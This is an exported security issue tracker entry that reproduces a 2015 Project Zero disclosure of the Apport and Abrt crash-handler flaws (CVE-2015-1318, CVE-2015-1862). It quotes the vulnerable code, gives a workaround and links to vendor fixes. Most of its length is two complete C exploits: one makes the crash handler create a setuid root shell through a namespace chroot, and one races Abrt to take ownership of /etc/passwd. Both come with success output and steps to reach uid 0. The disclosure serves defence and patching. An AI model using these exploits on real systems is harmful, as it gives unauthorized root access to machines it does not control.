lovekurdt / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Linux: privilege escalations via crash analysis frameworks (apport, abrt) #411

Closed GoogleCodeExporter closed 9 years ago

GoogleCodeExporter commented 9 years ago
Date: Tue, 14 Apr 2015 06:30:41 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Subject: Problems in automatic crash analysis frameworks

Hello, this is CVE-2015-1318 and CVE-2015-1862 (essentially the same
bugs in two different implementations, apport and abrt respectively).
These were discussed on the vendors list last week.

If the first character of kern.core_pattern sysctl is a pipe, the
kernel will invoke the specified program, and pass it the core on
stdin. Apport (Ubuntu) and Abrt (Fedora) use this feature to analyze
and log crashes.

Since the introduction of containers, Abrt and Apport have attempted
to transparently handle namespaces by chrooting into the same root as
the crashing program [1] [2]. Unfortunately, this is incorrect because
root cannot safely execve() after a chroot into a user specified
directory.

Furthermore, Abrt suffers from numerous race conditions and symlink
problems from trusting unprivileged programs. For example, the code
below (and lots of similar code) is vulnerable to a filesystem race
where a user unlinks the file after the copy but before the chown.

https://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L634

        strcpy(source_filename + source_base_ofs, "maps");
        strcpy(dest_base, FILENAME_MAPS);
        copy_file(source_filename, dest_filename, DEFAULT_DUMP_DIR_MODE);
        IGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid));

This code trusts various symlinks in /tmp without validation:

https://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L806

        char *java_log = xasprintf("/tmp/jvm-%lu/hs_error.log", (long)pid);
        int src_fd = open(java_log, O_RDONLY);
        free(java_log);

This code trusts the /proc/pid/exe symlink, even though it is possible
to link it anywhere you want.

https://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L368

        sprintf(buf, "/proc/%lu/exe", (long)pid);
        int src_fd_binary = open(buf, O_RDONLY); /* might fail and
return -1, it's ok */

This code trusts the attacker controlled root symlink and copies files from it.

https://github.com/abrt/libreport/blob/master/src/lib/dump_dir.c#L671

        if (chroot_dir)
            copy_file_from_chroot(dd, FILENAME_OS_INFO_IN_ROOTDIR,
chroot_dir, "/etc/os-release");

This instructs librpm to trust an unprivileged root symlink:

https://github.com/abrt/abrt/blob/master/src/daemon/rpm.c#L184

        if (rpmtsSetRootDir(*ts, rootdir_or_NULL) != 0)
        {
            rpmtsFree(*ts);
            return -1;
        }

And so on.

There are other automatic crash analysis scripts, I believe systemd
also has one - I haven't looked at it all.

WORKAROUND

I highly recommend setting `sysctl -w kern.core_pattern=core`.

EXPLOITATION

Two demonstration exploits are attached.

The file `newpid.c` should produce a root shell on Fedora 20 or Ubuntu
by invoking the crash handler inside an unprivileged chroot (possible
since kernel 3.8).

 $ gcc -static newpid.c
 $ ./a.out
 uid=0(root) gid=0(root) groups=0(root)
 sh-4.3# exit
 exit

The file `raceabrt.c` should make you the owner of any file on Fedora
by racing the Abrt report creation.

 $ cat /etc/fedora-release
 Fedora release 21 (Twenty One)
 $ ./a.out /etc/passwd
 Detected ccpp-2015-04-13-17:40:31-5506.new, attempting to race...
   [ wait a few minutes ]
   exploit successful...
 -rw-r--r--. 1 taviso abrt 2421 Apr 13 11:15 /etc/passwd

In case it isn't obvious, you can then give yourself uid zero.

 $ getent passwd taviso
 taviso:x:1000:1000:Tavis Ormandy:/home/taviso:/bin/bash
 $ vi /etc/passwd
 $ getent passwd taviso
 taviso:x:0:0:Tavis Ormandy:/home/taviso:/bin/bash
 $ su taviso
 Password:
 # id
 uid=0(root) gid=0(root) groups=0(root)
 exit

REFERENCES

[1] https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893
[2] https://github.com/abrt/abrt/pull/810
[3] http://man7.org/linux/man-pages/man7/user_namespaces.7.html

CREDIT

Tavis Ormandy, Google Project Zero.

#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#include <signal.h>
#include <err.h>
#include <string.h>
#include <alloca.h>
#include <limits.h>
#include <sys/inotify.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>

//
// This is a race condition exploit for CVE-2015-1862, targeting Fedora.
//
// Note: It can take a few minutes to win the race condition.
//
//   -- taviso@...xchg8b.com, April 2015.
//
// $ cat /etc/fedora-release 
// Fedora release 21 (Twenty One)
// $ ./a.out /etc/passwd
// [ wait a few minutes ]
// Detected ccpp-2015-04-13-21:54:43-14183.new, attempting to race...
//     Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14186.new, attempting to race...
//     Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14191.new, attempting to race...
//     Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14195.new, attempting to race...
//     Didn't win, trying again!
// Detected ccpp-2015-04-13-21:54:43-14198.new, attempting to race...
//     Exploit successful...
// -rw-r--r--. 1 taviso abrt 1751 Sep 26  2014 /etc/passwd
//

static const char kAbrtPrefix[] = "/var/tmp/abrt/";
static const size_t kMaxEventBuf = 8192;
static const size_t kUnlinkAttempts = 8192 * 2;
static const int kCrashDelay = 10000;

static pid_t create_abrt_events(const char *name);

int main(int argc, char **argv)
{
    int fd, i;
    int watch;
    pid_t child;
    struct stat statbuf;
    struct inotify_event *ev;
    char *eventbuf = alloca(kMaxEventBuf);
    ssize_t size;

    // First argument is the filename user wants us to chown().
    if (argc != 2) {
        errx(EXIT_FAILURE, "please specify filename to chown (e.g. /etc/passwd)");
    }

    // This is required as we need to make different comm names to avoid
    // triggering abrt rate limiting, so we fork()/execve() different names.
    if (strcmp(argv[1], "crash") == 0) {
        __builtin_trap();
    }

    // Setup inotify, and add a watch on the abrt directory.
    if ((fd = inotify_init()) < 0) {
        err(EXIT_FAILURE, "unable to initialize inotify");
    }

    if ((watch = inotify_add_watch(fd, kAbrtPrefix, IN_CREATE)) < 0) {
        err(EXIT_FAILURE, "failed to create new watch descriptor");
    }

    // Start causing crashes so that abrt generates reports.
    if ((child = create_abrt_events(*argv)) == -1) {
        err(EXIT_FAILURE, "failed to generate abrt reports");
    }

    // Now start processing inotify events.
    while ((size = read(fd, eventbuf, kMaxEventBuf)) > 0) {

        // We can receive multiple events per read, so check each one.
        for (ev = eventbuf; ev < eventbuf + size; ev = &ev->name[ev->len]) {
            char dirname[NAME_MAX];
            char mapsname[NAME_MAX];
            char command[1024];

            // If this is a new ccpp report, we can start trying to race it.
            if (strncmp(ev->name, "ccpp", 4) != 0) {
                continue;
            }

            // Construct pathnames.
            strncpy(dirname, kAbrtPrefix, sizeof dirname);
            strncat(dirname, ev->name, sizeof dirname);

            strncpy(mapsname, dirname, sizeof dirname);
            strncat(mapsname, "/maps", sizeof mapsname);

            fprintf(stderr, "Detected %s, attempting to race...\n", ev->name);

            // Check if we need to wait for the next event or not.
            while (access(dirname, F_OK) == 0) {
                for (i = 0; i < kUnlinkAttempts; i++) {
                    // We need to unlink() and symlink() the file to win.
                    if (unlink(mapsname) != 0) {
                        continue;
                    }

                    // We won the first race, now attempt to win the
                    // second race....
                    if (symlink(argv[1], mapsname) != 0) {
                        break;
                    }

                    // This looks good, but doesn't mean we won, it's possible
                    // chown() might have happened while the file was unlinked.
                    //
                    // Give it a few microseconds to run chown()...just in case
                    // we did win.
                    usleep(10);

                    if (stat(argv[1], &statbuf) != 0) {
                        errx(EXIT_FAILURE, "unable to stat target file %s", argv[1]);
                    }

                    if (statbuf.st_uid != getuid()) {
                        break;
                    }

                    fprintf(stderr, "\tExploit successful...\n");

                    // We're the new owner, run ls -l to show user.
                    sprintf(command, "ls -l %s", argv[1]);
                    system(command);

                    return EXIT_SUCCESS;
                }
            }

            fprintf(stderr, "\tDidn't win, trying again!\n");
        }
    }

    err(EXIT_FAILURE, "failed to read inotify event");
}

// This routine attempts to generate new abrt events. We can't just crash,
// because abrt sanely tries to rate limit report creation, so we need a new
// comm name for each crash.
static pid_t create_abrt_events(const char *name)
{
    char *newname;
    int status;
    pid_t child, pid;

    // Create a child process to generate events.
    if ((child = fork()) != 0)
        return child;

    // Make sure we stop when parent dies.
    prctl(PR_SET_PDEATHSIG, SIGKILL);

    while (true) {
        // Choose a new unused filename
        newname = tmpnam(0);

        // Make sure we're not too fast.
        usleep(kCrashDelay);

        // Create a new crashing subprocess.
        if ((pid = fork()) == 0) {
            if (link(name, newname) != 0) {
                err(EXIT_FAILURE, "failed to create a new exename");
            }

            // Execute crashing process.
            execl(newname, newname, "crash", NULL);

            // This should always work.
            err(EXIT_FAILURE, "unexpected execve failure");
        }

        // Reap crashed subprocess.
        if (waitpid(pid, &status, 0) != pid) {
            err(EXIT_FAILURE, "waitpid failure");
        }

        // Clean up the temporary name.
        if (unlink(newname) != 0) {
            err(EXIT_FAILURE, "failed to clean up");
        }

        // Make sure it crashed as expected.
        if (!WIFSIGNALED(status)) {
            errx(EXIT_FAILURE, "something went wrong");
        }
    }

    return child;
}

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#include <sys/wait.h>

# warning this file must be compiled with -static

//
// Apport/Abrt Vulnerability Demo Exploit.
//
//  Apport: CVE-2015-1318
//  Abrt:   CVE-2015-1862
// 
//   -- taviso@...xchg8b.com, April 2015.
//
// $ gcc -static newpid.c
// $ ./a.out
// uid=0(root) gid=0(root) groups=0(root)
// sh-4.3# exit
// exit
//
// Hint: To get libc.a,
//  yum install glibc-static or apt-get install libc6-dev
//

int main(int argc, char **argv)
{
    int status;
    Elf32_Phdr *hdr;
    pid_t wrapper;
    pid_t init;
    pid_t subprocess;
    unsigned i;

    // Verify this is a static executable by checking the program headers for a
    // dynamic segment. Originally I thought just checking AT_BASE would work,
    // but that isnt reliable across many kernels.
    hdr = (void *) getauxval(AT_PHDR);

    // If we find any PT_DYNAMIC, then this is probably not a static binary.
    for (i = 0; i < getauxval(AT_PHNUM); i++) {
        if (hdr[i].p_type == PT_DYNAMIC) {
            errx(EXIT_FAILURE, "you *must* compile with -static");
        }
    }

    // If execution reached here, it looks like we're a static executable. If
    // I'm root, then we've convinced the core handler to run us, so create a
    // setuid root executable that can be used outside the chroot.
    if (getuid() == 0) {
        if (chown("sh", 0, 0) != 0)
            exit(EXIT_FAILURE);

        if (chmod("sh", 04755) != 0)
            exit(EXIT_FAILURE);

        return EXIT_SUCCESS;
    }

    // If I'm not root, but euid is 0, then the exploit worked and we can spawn
    // a shell and cleanup.
    if (setuid(0) == 0) {
        system("id");
        system("rm -rf exploit");
        execlp("sh", "sh", NULL);

        // Something went wrong.
        err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
    }

    // It looks like the exploit hasn't run yet, so create a chroot.
    if (mkdir("exploit", 0755) != 0
     || mkdir("exploit/usr", 0755) != 0
     || mkdir("exploit/usr/share", 0755) != 0
     || mkdir("exploit/usr/share/apport", 0755) != 0
     || mkdir("exploit/usr/libexec", 0755) != 0) {
        err(EXIT_FAILURE, "failed to create chroot directory");
    }

    // Create links to the exploit locations we need.
    if (link(*argv, "exploit/sh") != 0
     || link(*argv, "exploit/usr/share/apport/apport") != 0        // Ubuntu
     || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) {  // Fedora
        err(EXIT_FAILURE, "failed to create required hard links");
    }

    // Create a subprocess so we don't enter the new namespace.
    if ((wrapper = fork()) == 0) {

        // In the child process, create a new pid and user ns. The pid
        // namespace is only needed on Ubuntu, because they check for %P != %p
        // in their core handler. On Fedora, just a user ns is sufficient.
        if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
            err(EXIT_FAILURE, "failed to create new namespace");

        // Create a process in the new namespace.
        if ((init = fork()) == 0) {

            // Init (pid 1) signal handling is special, so make a subprocess to
            // handle the traps.
            if ((subprocess = fork()) == 0) {
                // Change /proc/self/root, which we can do as we're privileged
                // within the new namepace.
                if (chroot("exploit") != 0) {
                    err(EXIT_FAILURE, "chroot didnt work");
                }

                // Now trap to get the core handler invoked.
                __builtin_trap();

                // Shouldn't happen, unless user is ptracing us or something.
                err(EXIT_FAILURE, "coredump failed, were you ptracing?");
            }

            // If the subprocess exited with an abnormal signal, then everything worked.
            if (waitpid(subprocess, &status, 0) == subprocess)    
                return WIFSIGNALED(status)
                        ? EXIT_SUCCESS
                        : EXIT_FAILURE;

            // Something didn't work.
            return EXIT_FAILURE;
        }

        // The new namespace didn't work.
        if (waitpid(init, &status, 0) == init)
            return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
                    ? EXIT_SUCCESS
                    : EXIT_FAILURE;

        // Waitpid failure.
        return EXIT_FAILURE;
    }

    // If the subprocess returned sccess, the exploit probably worked, reload
    // with euid zero.
    if (waitpid(wrapper, &status, 0) == wrapper) {
        // All done, spawn root shell.
        if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
            execl(*argv, "w00t", NULL);
        }
    }

    // Unknown error.
    errx(EXIT_FAILURE, "unexpected result, cannot continue");
}

Original issue reported on code.google.com by cev...@google.com on 28 May 2015 at 10:03

GoogleCodeExporter commented 9 years ago
Incomplete fix: http://www.ubuntu.com/usn/usn-2569-1/
Crash reporting disabled for containers: http://www.ubuntu.com/usn/usn-2569-2/

Original comment by cev...@google.com on 28 May 2015 at 10:04

GoogleCodeExporter commented 9 years ago

Original comment by cev...@google.com on 28 May 2015 at 10:15